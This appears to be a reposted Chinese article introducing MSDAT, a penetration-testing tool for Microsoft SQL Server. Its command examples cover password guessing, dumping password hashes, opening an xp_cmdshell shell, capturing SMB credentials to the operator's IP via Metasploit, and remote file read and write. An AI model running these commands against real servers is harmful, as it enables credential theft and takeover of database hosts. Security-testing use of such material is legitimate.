MSDAT:一款专门针对Microsoft SQL数据库的渗透测试工具

栏目: 编程工具 · 发布时间: 7年前

内容简介:今天给大家介绍的是一款名叫MSDAT(Microsoft SQL Database Attacking Tool)的工具,MSDAT是一款开源的渗透测试工具,研究人员可利用MSDAT来对Microsoft SQL数据库的安全性进行远程测试。有一个需要远程监听的Microsoft数据库,你想要找到可以用来跟这个数据库连接的有效凭证

今天给大家介绍的是一款名叫MSDAT(Microsoft SQL Database Attacking Tool)的工具,MSDAT是一款开源的渗透测试工具,研究人员可利用MSDAT来对Microsoft SQL数据库的安全性进行远程测试。

MSDAT:一款专门针对Microsoft SQL数据库的渗透测试工具

MSDAT使用场景:

有一个需要远程监听的Microsoft数据库,你想要找到可以用来跟这个数据库连接的有效凭证

你拿到了一个有效的连接凭证,你想要提升该账号的权限

你拿到了一个有效的连接凭证,你想要在托管该数据库的主机上执行命令(xp_cmdshell)

注:该 工具 已在Microsoft SQL Database 2005、2008和2012版本上成功测试。

功能介绍

在MSDAT的帮助下,你可以实现以下目标:

-在无需通过身份验证的情况下获取目标MSSQL数据库的技术信息(例如数据库版本);

-通过字典攻击搜索MSSQL账号;

-测试登录凭证;

-拿到数据库服务器的Windows shell(xp_cmdshell);

-远程下载/上传文件;

-获取SMB凭证;

-窃取MSSQL哈希密码;

-扫描数据库端口;

-远程执行 SQL 请求;

-获取主机文件/目录;

-创建文件夹;

工具安装

在运行MSDAT之前,你需要安装某些依赖组件。

Ubuntu:

sudo apt-get install freetds-dev

或直接从 http://www.freetds.org/ 下载:

sudo pip install cython colorlog termcolor pymssql argparse
sudo pip install argcomplete && sudo activate-global-python-argcomplete

在freetds配置文件(/etc/freetds/freetds.conf或/usr/local/etc/freetds.conf)中添加”usentlmv2 = yes”,例如:

[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

使用样例

获取所有模块:

./msdat.py -h

列举模块所有功能和选项(例如:all):

./msdat.py all -h

注:你可以使用“–test-module“选项来查看特定模块是否适用于目标MSSQL数据库。

all模块

all模块可以直接运行MSDAT的所有模块:

python msdat.py all -s $SERVER

下面命令可以实现:

-利用字典攻击测试帐号凭证;

-测试目标账号的密码;

-定义timeout值;

./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10--force-retry

注:在每一个模块中,你可以利用“–charset“选项来义所要使用的字符集。

mssqlinfo模块

在无需通过身份验证的情况下获取目标MSSQL数据库的技术信息:

./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

passwordguesser模块

这个模块可以搜索有效凭证:

./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE--force-retry –search

你还可以指定帐号文件:

./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt--force-retry

passwordstealer模块

导出哈希密码:

./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump--save-to-file test.txt

xpcmdshell模块

利用xpcmdshell模块执行系统命令:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD –shell

如果没有启用xpcmdshell的话,你可以利用“–enable-xpcmdshell“来激活模块:

./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD –enable-xpcmdshell–disable-xpcmdshell –disable-xpcmdshell –shell

smbauthcapture模块

获取SMB凭证:

./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture$MY_IP_ADDRESS --share-name SHARE

你还可以配合Metasploit的auxiliary/server/capture/smb模块一起使用:

msf> use auxiliary/server/capture/smb
msfauxiliary(smb) > exploit

oleautomation模块

这个模块可以读写数据库服务器中存储的文件:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE--read-file 'C:\Users\Administrator\Desktop\temp.txt'

向目标文件远程写入字符串:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE--write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

文件下载:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file'C:\Users\Administrator\Desktop\temp.txt' temp.txt

文件上传:

./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-filetemp.txt 'C:\Users\Administrator\Desktop\temp.txt

其他

如需了解完整的模块使用方法,请直接访问MSDAT的【 GitHub主页 】以获取详细信息。

*参考来源: msdat ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《MSDAT:一款专门针对Microsoft SQL数据库的渗透测试工具》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Introduction to Programming in Java

Introduction to Programming in Java

Robert Sedgewick、Kevin Wayne / Addison-Wesley / 2007-7-27 / USD 89.00

By emphasizing the application of computer programming not only in success stories in the software industry but also in familiar scenarios in physical and biological science, engineering, and appli......一起来看看 《Introduction to Programming in Java》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

html转js在线工具
html转js在线工具

html转js在线工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具